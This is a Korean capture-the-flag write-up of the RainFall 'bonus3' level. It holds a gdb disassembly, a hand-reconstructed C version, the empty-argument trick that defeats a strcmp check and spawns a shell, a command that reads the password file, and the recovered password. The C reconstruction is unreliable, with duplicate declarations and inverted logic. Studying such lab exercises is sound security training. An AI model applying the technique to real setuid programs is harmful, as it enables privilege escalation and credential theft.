bonus3

태그	Assembly Shell
상태	완료

풀이과정

겪었던 어려움

풀이과정

```
(gdb) disas main
Dump of assembler code for function main:
   0x080484f4 <+0>: push   %ebp
   0x080484f5 <+1>: mov    %esp,%ebp
   0x080484f7 <+3>: push   %edi
   0x080484f8 <+4>: push   %ebx
   0x080484f9 <+5>: and    $0xfffffff0,%esp
   0x080484fc <+8>: sub    $0xa0,%esp
   0x08048502 <+14>:    mov    $0x80486f0,%edx
   0x08048507 <+19>:    mov    $0x80486f2,%eax
   0x0804850c <+24>:    mov    %edx,0x4(%esp)
   0x08048510 <+28>:    mov    %eax,(%esp)
   0x08048513 <+31>:    call   0x8048410 <fopen@plt>
   0x08048518 <+36>:    mov    %eax,0x9c(%esp)
   0x0804851f <+43>:    lea    0x18(%esp),%ebx
   0x08048523 <+47>:    mov    $0x0,%eax
   0x08048528 <+52>:    mov    $0x21,%edx
   0x0804852d <+57>:    mov    %ebx,%edi
   0x0804852f <+59>:    mov    %edx,%ecx
   0x08048531 <+61>:    rep stos %eax,%es:(%edi)
   0x08048533 <+63>:    cmpl   $0x0,0x9c(%esp)
   0x0804853b <+71>:    je     0x8048543 <main+79>
   0x0804853d <+73>:    cmpl   $0x2,0x8(%ebp)
   0x08048541 <+77>:    je     0x804854d <main+89>
```

```
0x08048543 <+79>:    mov    $0xffffffff,%eax
0x08048548 <+84>:    jmp    0x8048615 <main+289>
0x0804854d <+89>:    lea    0x18(%esp),%eax
0x08048551 <+93>:    mov    0x9c(%esp),%edx
0x08048558 <+100>:   mov    %edx,0xc(%esp)
0x0804855c <+104>:   movl   $0x42,0x8(%esp)
0x08048564 <+112>:   movl   $0x1,0x4(%esp)
0x0804856c <+120>:   mov    %eax,(%esp)
0x0804856f <+123>:   call   0x80483d0 <fread@plt>
0x08048574 <+128>:   movb   $0x0,0x59(%esp)
0x08048579 <+133>:   mov    0xc(%ebp),%eax
0x0804857c <+136>:   add    $0x4,%eax
0x0804857f <+139>:   mov    (%eax),%eax
0x08048581 <+141>:   mov    %eax,(%esp)
0x08048584 <+144>:   call   0x8048430 <atoi@plt>
0x08048589 <+149>:   movb   $0x0,0x18(%esp,%eax,1)
0x0804858e <+154>:   lea    0x18(%esp),%eax
0x08048592 <+158>:   lea    0x42(%eax),%edx
0x08048595 <+161>:   mov    0x9c(%esp),%eax
0x0804859c <+168>:   mov    %eax,0xc(%esp)
0x080485a0 <+172>:   movl   $0x41,0x8(%esp)
0x080485a8 <+180>:   movl   $0x1,0x4(%esp)
0x080485b0 <+188>:   mov    %edx,(%esp)
0x080485b3 <+191>:   call   0x80483d0 <fread@plt>
0x080485b8 <+196>:   mov    0x9c(%esp),%eax
0x080485bf <+203>:   mov    %eax,(%esp)
0x080485c2 <+206>:   call   0x80483c0 <fclose@plt>
0x080485c7 <+211>:   mov    0xc(%ebp),%eax
0x080485ca <+214>:   add    $0x4,%eax
0x080485cd <+217>:   mov    (%eax),%eax
0x080485cf <+219>:   mov    %eax,0x4(%esp)
0x080485d3 <+223>:   lea    0x18(%esp),%eax
0x080485d7 <+227>:   mov    %eax,(%esp)
0x080485da <+230>:   call   0x80483b0 <strcmp@plt>
0x080485df <+235>:   test   %eax,%eax
0x080485e1 <+237>:   jne    0x8048601 <main+269>
0x080485e3 <+239>:   movl   $0x0,0x8(%esp)
0x080485eb <+247>:   movl   $0x8048707,0x4(%esp)
0x080485f3 <+255>:   movl   $0x804870a,(%esp)
0x080485fa <+262>:   call   0x8048420 <execl@plt>
0x080485ff <+267>:   jmp    0x8048610 <main+284>
0x08048601 <+269>:   lea    0x18(%esp),%eax
0x08048605 <+273>:   add    $0x42,%eax
0x08048608 <+276>:   mov    %eax,(%esp)
0x0804860b <+279>:   call   0x80483e0 <puts@plt>
```

```
   0x08048610 <+284>:   mov    $0x0,%eax
   0x08048615 <+289>:   lea    -0x8(%ebp),%esp
   0x08048618 <+292>:   pop    %ebx
   0x08048619 <+293>:   pop    %edi
   0x0804861a <+294>:   pop    %ebp
   0x0804861b <+295>:   ret
```

```
//코드 리버스 복원

#include <stdio.h>

int main(int ac, char **av)
{
    // 0xa0 할당

    FILE* pFile = fopen("/home/user/end/.pass", "r");
    char *buf_0x18;

    int i = 0;
    while (i < 33)
    {
        buf_0x18[i] = 0;
        i++;
    }

    if (pFile == NULL || ac != 2)
        return 1;
    else
    {
        fread(buf_0x18, 0x1, 0x42, pFile);
        int ret = atoi(av[1]);
        char *esp;
        char esp[ret * 1 + 0x18] = 0;

        fread(buf_0x18[0x42], sizeof(char), 0x41, pFile);
        fclose(pFile);
        if (strcmp(esp_18, av[1]) != 0)
            return 1;

        execl("/bin/sh", "sh", 0);
        return 0;
    }
    puts(buf_0x18[42]);
}
```

strcmp를 버퍼의 내용과 비교해서 같으면 "/bin/sh"이 실행됨.

strcmp는 '\0'문자를 찾을때까지 문자열을 비교하는데 빈문자열을 넣으면 무조건 0이 반환된다

```
bonus3@RainFall:~$ ./bonus3 ""
$ cat /home/user/end/.pass
3321b6f81659f9a71c76616f606e4b50189cecfea611393d5d649f75e157353c
```

정답

3321b6f81659f9a71c76616f606e4b50189cecfea611393d5d649f75e157353c

출처